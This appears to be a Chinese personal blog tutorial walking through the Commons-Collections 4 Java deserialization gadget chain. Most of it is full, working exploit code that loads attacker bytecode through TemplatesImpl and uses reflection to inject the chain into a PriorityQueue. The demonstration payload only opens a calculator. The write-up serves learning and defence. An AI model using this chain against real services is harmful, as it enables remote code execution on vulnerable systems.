avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home Java反序列化Commons-Collections篇05-CC4链
文章

Java反序列化Commons-Collections篇05-CC4链

Posted 2025-09-11 Updated 2025-09- 14
By Administrator
26~33 min read

在Commons Collection 3.2.2及以后的版本中,官方修复了反序列化漏洞 ,修复方式也非常简单,修复方法非常简单粗暴:将InvokerTransfoemer类的implements Serializable 声明移除了。

这样子的结果就是InvokerTransformer 无法被序列化,更不能作为反序列化利用链的一部分被传输和重构。

由于InvokerTransform对象本身无法参与序列化/反序列化过程,所以可以通过其他非反序列化的方法(比如在内存中直接new一个)得到一个InvokerTransformer实例,通过这种方式进行命令执行。

思路一句话总结:我们不在反序列化流中直接传输恶意的InvokerTransformefer实例,而是传输一个能在反序列化过程中“帮我们创建”这个实例的对象。

CC4链分析

由于InvokerTransformer不能被序列化了,所以我们要new一个InvokerTransformer,再调用它的transform方法。然后通过其他函数的反序列化触发这一过程。

查找transform,然后我们就发现在 InstantiateTransformer的transform中可以实现这一过程。

继续查找到TransformingComparator.compare

在 PriorityQueue类中找到

编写exp


public class CC4 {
    public static void main(String[]arge)throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> c = TemplatesImpl.class;
        Field bytecode = c.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]code={eval};
        bytecode.set(templates,code);

        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field tfactory =c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

//        Transformer[] transformers={
//                new ConstantTransformer(TrAXFilter.class),
//                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
       };

    



        
    }

}

根据此图继续向下编写链子


public class CC4 {
    public static void main(String[]arge)throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> c = TemplatesImpl.class;
        Field bytecode = c.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]code={eval};
        bytecode.set(templates,code);

        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field tfactory =c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers={
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);

        serialize(priorityQueue);
        unserialize("ser.bin");



    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }

    public  static  Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
        return  ois;
    }

}

但是到这里并没有发现弹计算器,debug尝试

由于这里的size=0,那么i就会为-1,不满足i>=0的条件,那我们就要修改size的值,让其不为0,由于这里size>>>1,无符号右移1位,等价于size/2,所以这里要让size至少等于2。

首先找一下size是什么,这里可以看到size就是PriorityQueue这个队列的长度

用add函数随便增加两个队列

这里看到就可以弹出计算器了。

触发点延后到反序列化阶段

调试的时候发现计算器在priorityQueue.add(1);的时候就跳出了,然后发现这里已经进入了InstantiateTransformer.transform方法。

看看发生了什么,查看代码发现这里的add经过一系列的调用最终还是触发了compare代码

然后这里会检验_tfactory的值是否为空,而这个值是在反序列化的时候才被初始化的,所以这里就报错了。

所以这里要先创建一个无害的TransformingComparator,然后在反序列化之前再利用反射将恶意代码注入,就能将恶意代码的触发点从序列化阶段延迟到反序列化阶段。

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[]arge)throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> c = TemplatesImpl.class;
        Field bytecode = c.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]code={eval};
        bytecode.set(templates,code);

        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field tfactory =c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers={
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
        //创建一个 无害的 TransformingComparator
        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(1);

        Class cl = transformingComparator.getClass();
        Field transformingField = cl.getDeclaredField("transformer");
        transformingField.setAccessible(true);
        transformingField.set(transformingComparator, chainedTransformer);

        //利用反射,注入恶意 ChainedTransformer
        serialize(priorityQueue);
        unserialize("ser.bin");



    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }

    public  static  Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
        return  ois;
    }

}

最终exp

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[]arge)throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> c = TemplatesImpl.class;
        Field bytecode = c.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]code={eval};
        bytecode.set(templates,code);

        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field tfactory =c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers={
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
        //创建一个 无害的 TransformingComparator
        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(1);

        Class cl = transformingComparator.getClass();
        Field transformingField = cl.getDeclaredField("transformer");
        transformingField.setAccessible(true);
        transformingField.set(transformingComparator, chainedTransformer);

        //利用反射,注入恶意 ChainedTransformer
        serialize(priorityQueue);
        unserialize("ser.bin");



    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }

    public  static  Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
        return  ois;
    }

}

总结

CC4链

java反序列化
java反序列化
License:  CC BY 4.0
Share

Further Reading

Oct 9, 2025

Java反序列化-RMI的几种攻击方式

RMI的基本攻击方式 RMI Client打RMI Registry RMI Client打RMI Server RMI Client 打RMI Registry 与注册中心的交互主要是这句话 Naming.bind("rmi://127.0.0.1:1099/sayHello", new Remo

Sep 28, 2025

Java反序列化-RMI流程分析

概述 官方文档:https://docs.oracle.com/javase/tutorial/rmi/overview.html RMI应用程序通常由两个独立的程序组成,一个服务器和一个客户端。服务端通过绑定这个远程对象类,它可以封装网络操作。客户端层面上只需要传递一个名字,还有地址。RMI提供了

Sep 21, 2025

Shiro反序列化漏洞-Shiro550

环境搭建 tomcat8.5.81 JDK1.7下载地址 https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html 下载shrio对应的war包 https://github.com/jas502n/

OLDER

基于yolov11的松材线虫病的深度识别

NEWER

Java反序列化Commons-Collections篇06-CC2链

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy